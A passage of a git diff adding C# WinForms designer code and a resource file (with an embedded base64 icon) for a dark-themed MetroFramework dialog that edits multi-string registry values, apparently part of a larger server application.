this.valueDataTxtBox.ForeColor = Color.Yellow; + this.valueDataTxtBox.Location = new Point(16 /*0x10*/, (int) sbyte.MaxValue); + this.valueDataTxtBox.Multiline = true; + this.valueDataTxtBox.Name = "valueDataTxtBox"; + this.valueDataTxtBox.ScrollBars = ScrollBars.Both; + this.valueDataTxtBox.Size = new Size(346, 273); + this.valueDataTxtBox.TabIndex = 5; + this.valueDataTxtBox.WordWrap = false; + this.okButton.Location = new Point(242, 405); + this.okButton.Margin = new Padding(2, 2, 2, 2); + this.okButton.Name = "okButton"; + this.okButton.Size = new Size(56, 25); + this.okButton.TabIndex = 18; + this.okButton.Text = "Ok"; + this.okButton.Theme = MetroThemeStyle.Dark; + this.okButton.UseSelectable = true; + this.okButton.Click += new EventHandler(this.okButton_Click); + this.cancelButton.Location = new Point(303, 405); + this.cancelButton.Margin = new Padding(2, 2, 2, 2); + this.cancelButton.Name = "cancelButton"; + this.cancelButton.Size = new Size(56, 25); + this.cancelButton.TabIndex = 17; + this.cancelButton.Text = "Cancel"; + this.cancelButton.Theme = MetroThemeStyle.Dark; + this.cancelButton.UseSelectable = true; + this.cancelButton.Click += new EventHandler(this.cancelButton_Click); + this.valueNameTxtBox.CustomButton.Image = (Image) null; + this.valueNameTxtBox.CustomButton.Location = new Point(242, 1); + this.valueNameTxtBox.CustomButton.Margin = new Padding(2, 2, 2, 2); + this.valueNameTxtBox.CustomButton.Name = ""; + this.valueNameTxtBox.CustomButton.Size = new Size(13, 14); + this.valueNameTxtBox.CustomButton.Style = MetroColorStyle.Blue; + this.valueNameTxtBox.CustomButton.TabIndex = 1; + this.valueNameTxtBox.CustomButton.Theme = MetroThemeStyle.Light; + this.valueNameTxtBox.CustomButton.UseSelectable = true; + this.valueNameTxtBox.CustomButton.Visible = false; + this.valueNameTxtBox.Lines = new string[0]; + this.valueNameTxtBox.Location = new Point(17, 75); + this.valueNameTxtBox.Margin = new Padding(2, 2, 2, 2); + this.valueNameTxtBox.MaxLength = (int) short.MaxValue; + this.valueNameTxtBox.Name = "valueNameTxtBox"; + this.valueNameTxtBox.PasswordChar = char.MinValue; + this.valueNameTxtBox.ScrollBars = ScrollBars.None; + this.valueNameTxtBox.SelectedText = ""; + this.valueNameTxtBox.SelectionLength = 0; + this.valueNameTxtBox.SelectionStart = 0; + this.valueNameTxtBox.ShortcutsEnabled = true; + this.valueNameTxtBox.Size = new Size(340, 19); + this.valueNameTxtBox.TabIndex = 16 /*0x10*/; + this.valueNameTxtBox.Theme = MetroThemeStyle.Dark; + this.valueNameTxtBox.UseSelectable = true; + this.valueNameTxtBox.UseStyleColors = true; + this.valueNameTxtBox.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.valueNameTxtBox.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.metroLabel2.AutoSize = true; + this.metroLabel2.Location = new Point(15, 96 /*0x60*/); + this.metroLabel2.Margin = new Padding(2, 0, 2, 0); + this.metroLabel2.Name = "metroLabel2"; + this.metroLabel2.Size = new Size(72, 19); + this.metroLabel2.TabIndex = 20; + this.metroLabel2.Text = "Value data:"; + this.metroLabel2.Theme = MetroThemeStyle.Dark; + this.metroLabel2.UseStyleColors = true; + this.metroLabel1.AutoSize = true; + this.metroLabel1.Location = new Point(16 /*0x10*/, 56); + this.metroLabel1.Margin = new Padding(2, 0, 2, 0); + this.metroLabel1.Name = "metroLabel1"; + this.metroLabel1.Size = new Size(79, 19); + this.metroLabel1.TabIndex = 19; + this.metroLabel1.Text = "Value name:"; + this.metroLabel1.Theme = MetroThemeStyle.Dark; + this.metroLabel1.UseStyleColors = true; + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(379, 476); + this.Controls.Add((Control) this.metroLabel2); + this.Controls.Add((Control) this.metroLabel1); + this.Controls.Add((Control) this.okButton); + this.Controls.Add((Control) this.cancelButton); + this.Controls.Add((Control) this.valueNameTxtBox); + this.Controls.Add((Control) this.valueDataTxtBox); + this.ForeColor = Color.Yellow; + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Name = nameof (FormRegValueEditMultiString); + this.Padding = new Padding(15, 49, 15, 16 /*0x10*/); + this.Text = nameof (FormRegValueEditMultiString); + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.FormRegValueEditMultiString_Load); + this.ResumeLayout(false); + this.PerformLayout(); + } +} +} diff --git a/Server/Server/Forms/FormRegValueEditMultiString.resx b/Server/Server/Forms/FormRegValueEditMultiString.resx new file mode 100644 index 0000000..ee1e63a --- /dev/null +++ b/Server/Server/Forms/FormRegValueEditMultiString.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5JY29uAgAAAAhJY29uRGF0YQhJY29uU2l6ZQcEAhNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAIAAAAJAwAAAAX8////E1N5c3RlbS5EcmF3aW5nLlNpemUCAAAABXdpZHRoBmhlaWdodAAACAgCAAAAAAAAAAAAAAAPAwAAAMFhAAACAAABAAEAAAAAAAEAIACrYQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAYXJJREFUeNrtnXeYXVXV/z9r73Num5qZTHojoYTeewsaikrxtaGv9bWLBQELihXEFwRURAGx/1BfFKWIImDAAFJC7yUE0uuUTL/3nrLX7487E5IQkrkzkyEzc+7zzAOZ+dxz9l57fU/Ze+21ZO7cOWkgAHTevPnMnTuHjT4CZAALhAmXcAk3MrgNwNy5cwRQXvsRIA14QAQUEy7hEm5kcSYxQsIl3OjlBNjSY0NirIRLuJHPpSQRf8Il3OjlTGKEhEu4UcvFXmKEhEu40cuZxAgJl3Cjl/N4dZ0wMVbCJdwo47xE/KOTazzwDDJNz/PuX32bOw/Z2ccY43esDB6+uDMYd//fcDaFKoR4TH3gAhCT2G8Ech4bRQglxhrZ3Pp9/gdXMYmYGFzIi1/8FtcjdZrK1UbZhlxUMdaOfeiOSL10B6qdzrn2jClG919xN0d+7qi0Gj+x8wji5s2bn0QCjg5Ode3Bn0e8KlQUUVOhGu5nXPhm0IMRb5YarxYR23PMArAKeAZ193udax+sff7PKytWPlAMq6aEzkurS1Uldh4B3OZxAImxRhgncVHXHHMhaBHUZER0LqofxUXHCFqvYsDYnq9u/lFwcSguXgx6I8b7jQ3iF8OMj8Wj8tEfkikWEjsnkYAJtyNyJuzStUddgFpFkZ0EvoLq+9C4RtTRB/GzgRMLIk8reqmK+7NRrzDjL6fRPemwZDyGcSSgScQ/QsUfFXTNkd8jygqKHCZwLaqf7pf4je29V+wtyM9E7XedUPuP2/Ik4zGsOd/OnDkjMdZI49TpqsPOx2ZDJJAjRbgG9CB0M1H3VfybcimBQ0W1dtrtNz2SW/VwpF4mTsZjWHJx7wUgMdYI4tr3+ySaTqFqdkP4Oej+2xB1X8Xfyxk03s+lqhT0PzNv/nN357QJqPGS8Rhuc0Q9qwCJsUYIt+6Az+LSVaBUGcNVoO8fZPFvxEkrmI8ZF98Q+R4T7vtBMh7DjDOUIgETY40QLvay+J7BGP0vVN+x/cRvQLxajD0n9vxJokLTQZ9PxmOYcYYkEnDEcM0Hfx7jeYSxa0D5OBpnt5v4X50YPFSUd8aeIdP0QjIew4wzlCIBE2ONAE7SWcRFGI2PRaODtqv4X+UsIu+xIXUP/uLrJOMxvCIBDUkY8IjhtKMJ29WYEhedJKrZIRB/72dvIdr/HTPET8Zj+HBz585JcgKOJO7xSz+IjfITUD10CMUPqjUShUcW6yd7qCbjMYw4s3GK4MRYw5s7da+qlPOz09TYCUMmfhQ0BnS31tnv9ib85+5kPIYPl0QCjiTO2bR1qarxiJcZMvH3csZO6Jx+jH36rOuT8RhGkYBeYoSRw1Uuby44P5dGxBtS8Zf2ClQ461vRZDyGERebxAgjh3vk+02RitEhF3/vkmAi/uHGFZKcgCOIq1j5IAIdPf8eOvGXuA6ESCUZj+HEJZGAI4jricVfBeSHWPwAq0TJ+90tyXgkkYAJ94ZwCjhdWboIDKn4AZ43GgVjH/5xMh5JJGDCvVGcGtuM6kNDLP5W4KG2WW/B+RXJeAwTLokEHGFcw8OX0zntmMgEXXeJuvwQBgM9TRQ8uds1eyfjMYy4JBJwhHES5WX2r/ZP+60vP6jw2BCJP0L1+inzvtgR5cb5yXgMLy6JBBxhXFgxzh//4KWr1HjXgOS3s/hB9SG/Y/k/nF/hIZKMx/DikkjAkcdJdMuTjYFibwD+ul3Fj7ZK2HXFuPsvWRNl61wyHsOO85PqwCOQO/HogzDiOkG/Bzy0XcSvGkpUvKpm0T9uj7NjYjDJeAw/LokEHIlc854fIFYQJy+inIXq04Ms/kji4DfZNY9dUbHivu44VRWAJuORRAIm3I7AjVl0E17YSbrxWZ46/8T7TaHts+KiBwZJ/J0SBz/JrH3y/PqnftccVE8NRONkPIYpJ3PnzsmSBAONUE4EjdJ+1zqz9vBzp0WVE76AyPuA2n6K/2kJ81dULrnzhupX/tkR1M4MxYW6BTYZj2HC2ZkzZ2QSY41gToznUpXxs5/+8ZrqpYvvFNUnKIV/NwC5Pog/BBai+nPbve78cQ9ecm+6c2UhqpgYlu78ifiHMydz585JkwQDjXjO716nK+b+EAFcrBXGyL6gbxIXHoLqLBUzBuNZRHqLg64EngG9nzi+t/6Ja1Znmp6XsHKiw9gimrzzD3cuqQ48yri1h55D5GdId6+ndc93s/dl9anmfT9WW6ydmYmqp6TV+FkgFqFDlU7FtucnHRDt9ot9UkHtzJQam9h5hHFJdeDRzKl6NugIb7/n0eK+5/0N9dKvAmE3u/76HbJ+7zmJ/UYwl1QHTriEG71cShLxJ1xfuFAzGkk1giNDU2KXEcIlkYCjjlPPd+3FLn+nQmBrtWjrKJp6zMKdX8MJcdia2rcQ2Do16Rz5fI77Hn5TYuekOnDCDUdOiE0oY/YObN1JhkBBQsClrEZBfYFAaqmKX/aceCaSnASm1ku59vEKRznHUel08aXpkxeFVguJnUcI5yVGGD2c5zoKRa9hFiI/FOgGWQIsCp2sBG21FMJ2b7cUSA4xYwSmAbsITKa0JPi31dWndk1v/X+JnUcI51EKCkkiAUcB157aM7IuH/f8u6Hn5+BNcemdG978o6AyY/2v0ypeYucRwiU5AUcRZ11+IzFvLO2N/rll8QMqRsM0YhI7jyAuyQk4mjjZYnx/H8QPqArqLCS1/0YKl+QEHN1cOeLvhaLHa89P7DdCuCQn4GjjNhZ82eJHnfjBHu2Xk9g5yQmYcMOZK1/8IKKIUcQk9ktyAibccORiMqCud+m3HPGz5SQiiZ2HOZfkBBxNXHX8gkdp1UfLEz+J+EdoJKCXGGH0cI4UAxe/JnYeQVySE3A0bfzQQoSYsP/ihxXV7yaxc1IdOOGGIdee2jMCXH/FDyqzWq5M7DyCuCQScBRxG0UC9kv8SSRgEgmYcMOZSyIBEy6JBEy4foi/F0oiAUcQl0QCjjYuiQRMuM24JBIwiQTsi/iTSMCRySWRgKOJSyIBE24zLokEHE1cEgmYcCTVgUcH19U1HjPBEUgVVW4JQpxC1QLxAMSvqGIIEzuPkOrASU7AEcTFtlIjTQOKVxVRaBxLru5o1jeHtWCqAltrMWY8peXfcsXvK4wxqt0Oq1a7EXXF5uxhYS5ciVpL/fMBLXsE+EEhGY+kOnDCDQUnuLApdXCxKlqMqqJicoLWgcwE3U1gF9CZwBREGkDqgWo2f6nf9mN/HtWngaWgq4BlYJ5T0RcEafY+fFpH9NubAcfk4C4avf2TCNNhwMncuXMqE2MNL07QFBpbT7uCbn+6dWoaQPYR4SBgf2BPoAHVyp7jMQjv/JtzDugEmoGFlLIGP6Kqj1lXaExpW0GIo52bF4TPjjsRJ1lScWsyvkl14IQrlytKLUYD1qWOZkbxL35R6qtik52seAchHAscAkwFKgco6oFyBVTXgj4NPCDIPITnUOnUnu+lXBNoMr47ApdUB96BudBPY7tqCbMhotDw7A007XHKdBV7LMgJiDmSUr5+fzuLeiDcOuBh0NtRuQtrFkYuFVbEy9KK9RM/eOO5pDrwDsipZil6WYwKzlNPIvYU9DTgNJA9EMm8gaLuD+eAFaB3oO5Gq8UnUvH6xoVjPh7ObP8zkcnix22JHyTVgUc7F2nRjkMQYlzKIIcIvA/lZEpVenYkUfeXawceUuRajP5D1TQbHPmUT01+Te8BEn8ZGi6pDryjcIFUKZJCRX1BDgY+iuqplKr37Oii7g9XAB4E/S3o321M87jirTSnD09WD4aQ6y0OmhjrDeIELRZtnbZ2FSST9vcS5DzgfOBooGKEip+e/s8AeQvIoSrSmfemrvHojhXjQBJ/2f5cUh34jeSycWMxbyapM3Z81vfPEJFLgJOAymEq6v5wHjAT9K0qdpdIcqsw/tJQKlzsVRFLFk/zib8k1YFHFtdhdyvkTZ1nRE4w8BVEjqR3zX70iH9jrgrkfYg5Ksb+QtFrJI7XomCIcHgj1l/ydbtr+26nvQq4gHVHnsKB35jsR7lxVq0fqvEDxKgab1Dbl0QCDjmnUac/s+DH7VNE+BzwMWDsCBV1f7kYuEtVL3RF7l1Wc6rbrfu3I25uYMJ/5hefOucWFc/HOU2DVIFUiUaVttDq22JbEaUtztU1Ob+qoNaiCppfy4Qnfs1gTJh6ifiHjhPi0EltmIrbj0P4DqX3fEnE/xrOAseLyJ42rVfMzF//G0PY4fBHhh/EQbTwE/cV1h42z0fi2eo4TkQOAXZH3ThwKZeulDhdHWC8tYg8DyxA+TeOF026NqxYuUC6Jh+WRAIOF85oEBTt+JSK+RjwFWDSGySumNIMfBGI0A05/kJEYkqBRT6Q2ui/aVTTb9BFIgS9EXUX5rX+qZxpQrGk3Pph6Qd+x8qg6cBPxsWxex8EfBR4C6WALgMKLkbUoWLA2I3vDw5YCdyKi35T/9Svn061vCJxpjYmiQTcwZdaNF/M20njEfMN4MOUUrEPhfgDRNYDS4FFwCugK0FWA82iUR513SB5Fa+IiKIqIAaRLGgNaD3OTQEmIWYywk6ljUY0UNpUZIbkIgaPqPCNYqHzjnS6UkFJly4Cw8YPMs3PB0vf8vNK8TKfAs4ApmzU2a2Jf1ObaLTCRMVfe+0rr172ni+s3v3yD9C504mMeerXZbcviQTczpxxhSDvTZ4twv8Cb93Od0yHahPoCyALFJ4CngZWiEqnGikKjlhyVIYLfUfKF1y0zj86qHYLQUzPeQRECU0NNcWnfRXPenRFHXaqqmRzotQgzALdF+QQVA/ucebcdhH/q9xKVL/l0GsFwrRrFdDhIf6m54JlJ/96shrv+wLvonfCtxzxb8pFiP0rIl9z6GLB4K9fRN3z15fVviQScLtx6iFRWDTjDxfkMuCA7Sj+tcBjqPs3Gt8vxItwy9ap3UW1N/sXYDWP1e5+9zc01erEQ1RAQFURiTM4nYqYA0GOAHMMwuye726P/rYBlznc5bl4XcHhp4aL+DHeT197E+iX+Dfm/qmqnxVYPGH+13HpmqGPBBQXFjunvUnbph6EFxQY9+hVo138FtU48MaeAHIpsMt2EEMAPAPcAnqrccVXfG3tMhpHt935YDjn+FPIFGKWTath8trV26G/vfv7NAVqPe0Ku2lwzlZOENE5IKcBxwDjB/liB1BE3S+NK16U0tZ1TlLhjuovfsfKYOWbL6nCy/wUeO8gi7/3r9fh9IynLzhp/dzjjytrtWTjC8A2OycuBlGRMJ+yQaetWPpi+NTXloaZxmdQP4VEDkWROGTRh07mqE8emnZ+bpTt+lKrGBfaMSdTuvNPHWTxdwP3KfxJ4Z/VbUtWxxXWc5JJKSbmDQ5nVkmVmurIIro3yH+D/heDv5chBv2NKOeq0KzO4LJFsvnOHcZfJA6ittmnhoWG/b4KfJeBP/a/Hheh7tt1T/7mx37naqPGG9xIwMYDPoW4iLtv/hP7fvtjfuuep1e37vGeqY2HfvJQL998ImLeKk5PAD0KZC+BseMf+I8RF0X1j/+1+x+PLw6m3HI36/c4ndzqR0ey+D2QOLR1p4H8iE0meQYs/gJwD6rfUuUigz7QnprVkTGNGZVUCiR+o+1iCYgli8NgxUWRrVqZipvvdeLdA6YdYTJIzSCIH8AgZt9SliPuF5HuVMEgZsdJR7bwY/cUvO7OQyhFeNZuJ/EDatB4dlg1ZcHYx65aHFZP7/MTUe8qwBY7t2LPD5KrGo8LOln+9tPZ6f+unBpl609UL/dWtf4BiIylNPGzUavU4aJucW4d8KBa/wYn5k6j2goCLmLcgktHpvhFw8A0vA24fBDFr8ATCj8T9Ean0mJwpF2LKDIs7GK1UMxnGpyL0vsJfEbgnZsIYmBPRE7hV4p+xTrX6mvrDuEv4++bX3z6nDs9THgF8KntKP5XOdVfeIW2z6mRoP6JX/Xtoj1z5ozsljq39pCzeS5+L+O85yGOstUvvfhul6n9gXqZj2O8vRCppbRGLJs1RkQ1pcaOwfp7I+ZtAgeryHqcLjEucLnVj4gMk9nbvnLigiDwJswBrqD3cXeg4od1iFyh8GWJwn9jTD6lnXjaJQwL8eOBRCp+GJN1gqxW5HaBJynFQUxF1QxA/L3/2leQFOj9nnYKmDf8tXPxu69Qtewp8B2gZruLXwwYv8GlK29Xv2Jd15SDqVjx4Db7YWfOnJHZ/JdNh3wRjMcE7zmcyiSx/gUY75tq7CyM9bY8UK/b6BSws8BbxEgWFz419qnfRlFu7IiZG7BaCArepP0Q+Smw2yCI3wF3KpylcfxbY8x69XwyUSPghuWTU4RP2gixmthYFqL6L1QDkN2B3ADnBgylVRYV9HFDVAB5w4LbCvW7arFhH1B9rwjvLjHbW/wWRKoUXhQ1DznPUbnsgW32w86cOUPYKBKwZZcPM3F1F+21OURklohcgcgHVUxqgI3OonqkoFML9bs/VvPSLeujivGBbHbLG47i77aTpkpJ/IcMgvhbgStU+CrIU2Jw1lpSYSPDOVmGRwCugKfdWNctvmsvgnvIkXoSkRmITO2n+Hs5D+RAR2qlbwsPBVRrLFksxSHvb/N+H0dxaSPyWWCfIRF/iROBFnD/8Lrb4tyaR7cZCeixWRhwOGEcK+oiUJ3SM5F1yqA1WmMP5P3BmJ1ZfuKVZ4rQjPFoWHDZsBS/0TDo9iZWCnI+cOwgiH+hwrecyA1WXRilwQ9ivHBwI97ERYiLRMWkQa2JCuH19z5ePOar1+NSVaiUph6yK+6naum9g2y/0kXMScqzRIW8GfM3j7ZngG9LaZksNQD7VSHy9bzWvySevUuDIrHNYV33EPuLAFKlMFuGTvy9n9kgVY//4H3Fucdfs83qwN7Gv2w6+LPYrk4UKvAy3xhU8W/KnY4nr4i68xWJmvf7JPVPXDOsxC+4sGjqVTCfB94zCOKfr3BuKggWFNNpvCjG+QF+PLBZbYljXXvUN0C09A0Xkp9wAPtcPNlr2ffUVLF+d+medLAcNafSp7SI6xSNsRKv/K/zoznvFNu22xjBxcEtT7cF+3/597RXV5AOYdIDPxmQnRUJMvEKYlv1iqKfB1kIfBmoGcDE4DSBi9TFH8L6L3huPYodWn8pxUlVieo4dEjFDzBeXFT1tgMmthfrZ5cXCdg99Sjuv/IC9v3uDf+D9X+qYnLbsdHNqH4Q+Gfts9eRal86rB5vW2r2LFR2rHkXwjXAmAGI3wF/Af0aIq+4Hhtm4uYBtW/2vPmFe8/7G2pTSNETTUU1CA1oPFPCwizQKRi/Xm2qEpEcr2YXLlJK790lcbGZOFgHZiV+5nlnvFVOtd3Dhk4cttjOuAcuFpeq6redi5LDszki5xAVX4UPCXoBMLEf4t/4j/8HfHpR9Sfa91h/8XbaSqxhLlpezNsJhLHB80rL/OsOPQvE7g06T1THDaH4AV1n8y1vnXD3t54Pq6e6bfQj5fWKX+Ii9199AQd85ZqZccX4z25n8QPUI/IFVX3gnr/+tnXu8ccNG/F3pXYuVHau3h2Rbw5Q/BHobxXOE1gXRw5jhLSu71f7RGMv1bo4eP6TzwZrDn8wLbidUA4kFR2IcACqO6OuGuvnVIzdxusaiEH9nENsHpEOgaVW5Bmn8SMg9yNmcbp9WTFK15o4Wxc6Lxv0xAf32c5p7YaoG18D6sJHwsbUUX8IpboLMf+LyIz+iR9A3gH6yO7rf3AVqAUZND8QnLWuq5j3pkpremzWWJuvHjOO7rXPALD2yFOZdNcffJeuEhU7lOIHF4mJ8tbLt0Rh9dRtxgNsWIIRF8vJB9alXKb2FDV23yFq9NGCvvmdU8UfLuL/17z5BS9uqVTka8A+AxT/z1X0K6KyrtJWI/RD/GLERIVUqvUVUetHK066elLFigc+bER/LSK3ifArhLNAj0XjyaJatU3xbzpuBpEKYAJwKPAxEfmpqN6mNvXn5Sddedaao761S+P+n9F1h52j6478GvOu/Tcdu5xWVj+cpKQpdURGiL20a74R+AzwUv/ED0Aa5exQao41Wgj66wehrQIBXzvFaNE3GplAqmu6veknqtifAR8xKGtXr9hwvIO+MTlliu2BYoKhFX+MOBeAabv7/7X0ZRUk9jaYMS6mmg76XJ2z2ZMxnjdEja6QOHzHuiM+8e/s2ie7nJ/bofMSiMbFY094O8DpPTu6+iv+GPSXKvoNVFqd82g3TWSkq8/t8/LN+F1rRMK837rr27MdB31+dpytexsip0lpKTK1HcfNovFEYKLzsifgV34akTtU9U8C9+991R2FoHI8iBHUlR03YDUI/EBuC9P6BZArgZ36aefJiPlS3k5+TGAdCilt6ZMfhIxBVFEndMtkMrI2F0t2tmKPx5i3gOwPVAFXhUFkMp5zlN7f0lFunAVtxXhrQSYPmfjVgciaKDOmZeafbqAvfm96f2mL7bbYsPsMrL/PUF6xgMO6Jh8+9t5fLNjhl7SKtkFVzO6CnA1k++mUgP5eRb8hjlaNLBXeejLFvom/cd9PU6iayZ1/eIqucQdkVhz/4/3adn/3hXG27npEvgHsvZ3Fv6UnhBnAJ0Xkz8AvUH0zSCa36mEfdeVXOTZpDTKKi+xtKGcBq/pnZ0DkWEE+3LVmAoohoHqrdp53xIcJpA41QpjyUKj3tOu0yFT9WMW/HmMvBDmmR/wAk8WY7Mz2v9F7PDV+FOfqmnoy+QyZ+FUMavzn1c+1Oz/XJ783lJJTeGOeXRzEmdrZiIwZ0kYb0xBVjJ+1y+/+3qcr1hsl/sDUaoykBPkcsEf/xc8/VOU8HM2mGKI1IXEcbrN969fvTeOR52A0YtlHfsU+P/rFzJYDPvG1qGL8dWpTZyAyZaidbQtcPfABQf/k/NyPVxz/w729fEs471//Lvj5Zu3c9dQ+jYdiEAXjRVQU1t6M6jdRbeuH+AE8hM9UTFh7oBhHStu3fNEhq0VTz9EL/g5OfWB3G7uzReQGxPwe5OOI7MRrS6vPQrRmZcWRqd7jqfUD9aoKoAsoTfIOzXiIdSosAC0irk9+X4oEVBc9+t0lQbbplf8C3jSkTiSej5EHMObhjon7Ubny4R1O/IrV2FRghBOAb224+5cv/odBzxDhlcgfBylHNt+yzfatOegsdj5tPC1rLVLs9DOrXz7ZpasvVZv6b6xXV2Zk5vbnNM4JHORSVcd2zDwxaLj75Rc7Zh4fROlJdE/cj4pVC7Y5HlbzeNpFpXuWwDS85MT3QA5HxJYh/t7PGISsKrdPKf4z7PRmbFgVSGtLMW8na+TnQF2dgTchcg7IN4F3AzOA1FbGN4Vzd3vatULFOqAoqHbOmAMq3QinAjVDFAm4XOBCoNHraiK79vFt2tkAYcXye4t1C/9t2LgKzVA5kYgBaRAMcSqzw4kfVANbA6K1wGeBun6Kf4XC122sz4fWxwtbyATrttm+tYd+GSTNoucrUGWcq6j/Ll7q12q8IzHWDOkEU9mctxvG/NDAz4Dd8IvYYntpbqAP46FYafP3zVjyKhr8FPi/foi/93OawNxG/2Af8ESjsNufWmhjpgfsbqPwbAM3Av+H8HHQGRvu9lsf31pEDkeIBVd6gjEeKIjjReBWdMjG41aUhQB1T/56m34/b958DBAsfcefVOOCZZMsLkPqRBlBqV7+6GaN1igTry0qvkZS+waIH837YzDOgnLKhqej8sWfBy7KrFg7L7IG62LS2rTN9q077EsIgvW6UTV7idhrEPNVFVv/xom6rIs7QAbkg4L8kdh7q79+ibGF9alyxkOxcbc3YZ2WKiY92A/xA1SDnlG0DQ2edhcL3rhKz3W/zXjmSkRu7dmyW3q3L3t8ZU7ejK8omnqNbamYU+C1oQQhcfQbcdGKIRiP5Qq/QQgn3PPdPvn93LlzsDNnzqBz+ptAVUTMicBBQ+1ECncaF82ve/p3gtgNjQ5NTVSwE7zYpGIQIq8S33UyVDHxoRkDGFS0QZCLgVn93NX3BxXz/ai6MhRV0m7bj/1rD/8KIkJMhODNBb1ShDkqRoaF+F/LTQR9U5yr7zZh94uZ5ueLcaY2EHV9Gg9f8uC89WpklcDx9JZNK2s8ZLJimwJbs29P+PbnQA6ntDVZ+nlxB5E6hPvBvLy6sZ6a3Hqqlz1Mw0OXiw27Wgpjd8+p9Y/ajk9sEXBJFPnXpzuXa6bpuT77vX3llSWMO+YDGGsVOBzVY4Y4fFFBbyg07PVQzcK/bXg3a0vtVfBc964ifEuQrMI6icN8lzeLtGvMgGz31wMnlahRBHkv8MnShpNynYOnEL4oqqutU3y2vc6/7rCvIhi6J55IqvPl00T1pwJ77ICipsy5gSoRjinW7Rx1Tzvmwe7Jh4Wd046hYsX9274Y2yowBmN0MSo54JhSBuOyxsNHzJEi8jZgJpvnLex/+HFGSiHU/6ysKMSedgMiYfWUtN+52hRqZz4T58ZOFTF7bR87659x+l3PdefHPvnLchKlpszcuXOY0O2hcYiqW4LG0RA7R5eoLt3noumbBANlo1UA0yml0b5WRG5U652ZjVftoRjfc13F2uDZAtjt8noQmjocDhz1qH6on3nxuxX5oUVeiEVQs+3Z/rWHfQVFqI1OJLfmttNF3c8EnTnsxb+Bs1VqM1+L09VfdV4mi1jWHfblbdolHa0HVTTWWNVdg+p9/RKrUMGrYc+DIf7ez8kCx8iGTXmlfsSZ2viVD5y5GpFzgX9sBzvfqvA1Q7i+4ZGflBt34ZdSgq29l+Vvu5CqpY/ksN5/qdjckDmH6mqvq/GnqfYX2l2qspTWStHY5gDmIpxGaV17uijHI+ZEJ5lpga1p7fJnNMUmHSmGyFYM6utB6SajCHIypck/vx/O8VeBixRCwZFy7Vs9b+OhXwJj8KJO8t6SU1F3uaBTRo74N8wN+MAhiEQq+pANu+Lc6ke3eecqrQwUxI/XFyKpaEPMCYhk+iHW7cHlRKQe5Q7ftUcqdkO+i4ZH7qR7/D5tqNwvwgRgN1A78Md+/ZPCORIFS8Y9cKkgZSeJiXvXNGWvH++dTrUsWqzIc0MofojDRzJrHlsb94ofNDD1uK5YEPagVCaq1/gW2AUxXxDkRoHfSCnme6wXhbR6ezIYeeKttTgiUFcBvI/+5btfhfITVela3VlPOt76lt7mg87COIMjJPJyx6HushEp/le5LHCuqHzMti2zJuzu08SgQtqZTMrTwr+Av+4g4u/9HA/6mVgyWdhQcUk7dzoBUYMISxzmDNR9W+IBTQwuR/mOOj5n43DJ+AcvFTW2P35f2BAJGGXq/fonf9WI8W5msyiC7eYcGhVN2H3r+Psub1M/GwAaRREImJwdAxy0FeM3AKdTej24Kbb2zFy8ag/FpjzXVRxbeLCAGI1sVVniB3BxSCA1IHIQpfp9ZTuHwh/C2D6kKNOzC7d53kI6IDYBRmW2aPwDQXceweLv/VSCfjuqnv4uE3ZbNO5ruHDc5U1oU7gKWLaDiB9UfZAvhlJ1bIfbqxCblAKMeerX+K2LGD//6zzz3ePX1z/xq8ttvvkDqvoLxC7vk97EOpBloFeDvjOM5H9NXGgZ+9CP+yv+11YHfvT8fxem/vP2nRBuphRSun2dw0X3+e0r3vvIFZ9dcfzcY1CxxOkJxFGIKkeLcBOqdX00fkyp9NWtiPxZkSdQukVAjSETrkXp2/qz1aJEJpsJpeZCkLP64Rwvq+ppAs+mtBF06/vR1x1yVinlOtRj7dUg7xoF4t/ID+IXTND54XVH/vdDs688DtFtO28otaouY/DCi4Ev7QDidz0Xo3kKv6zMRgs6ujwyvHbvgbjIy61cUFz21l9JXDVuV+A4ShutZgPjQVO4SMS5AJE1avznQRYg+m9RXeiQMNW+kjHP/bEfey025WTu3DmVvb9s3eUUNQ2zyJM5Q+CHpS9tN+fokDj85Kq3veO6Xa48m2zj46U7oa2jKedo6DLfF/haPwepEbgbuA50PlHUXPAnUR0936fVA0PkB1I73Unqr4js3Q/nuFC7g2+ajKiv7VsVf8v+H0PjCFNs9aKaGd9E7Hll7tYbGZyYm0E+CrSowvgHL96q83ZrPbZ06L0F/gbMeIPE34HqE6i7Fdw/Rdxzznlh58RxVKxpIqOvs+QrUmze56MaVzSgoogjDVIlLqoyQVudRHkrmLYoM6ZF/Vy7SlSUnvypE+d/kzhVOShzXZvkBGzf+W1EkkGUhQgzUd17Oy0JKqrXSFj4adXCZ6Owejq5NQ9TNHUYlFwgM0XkO8C4fg5SBaV4/ZNBjlFjqlOuvdMQdfmus1BffDTo9qcT2UqMBq8xltHAhKZ6LmI+wpZmjLfuHEtBzxPfrk25baeo9jtWsvwtF5JtXnY8xr9Qja0adeI3FsTsjNAeFrnPeELl8ntAXn9Ct6bCI4gsYkwT6qYDhw2h+B2wBPgL6n5gtHhFRpvnddkZqzy6XffTj1M1pp50tPWkLrm1j9M98XDEZbBBU/zk99/efdCXju2uWH5fS+3Cm1c99p3r1tU981y3Gj/2Cjm87nWMffQnqE0Nivi3WB249YizCGNBMbuC+5XAUYO+ZRH+huqnRVgtqRT1915MHGeIfR+/6kWC9j2/JiLfA8wgDWbcM2C3qsh1wBMo3QB4hkyw8euBeo4Ukam6D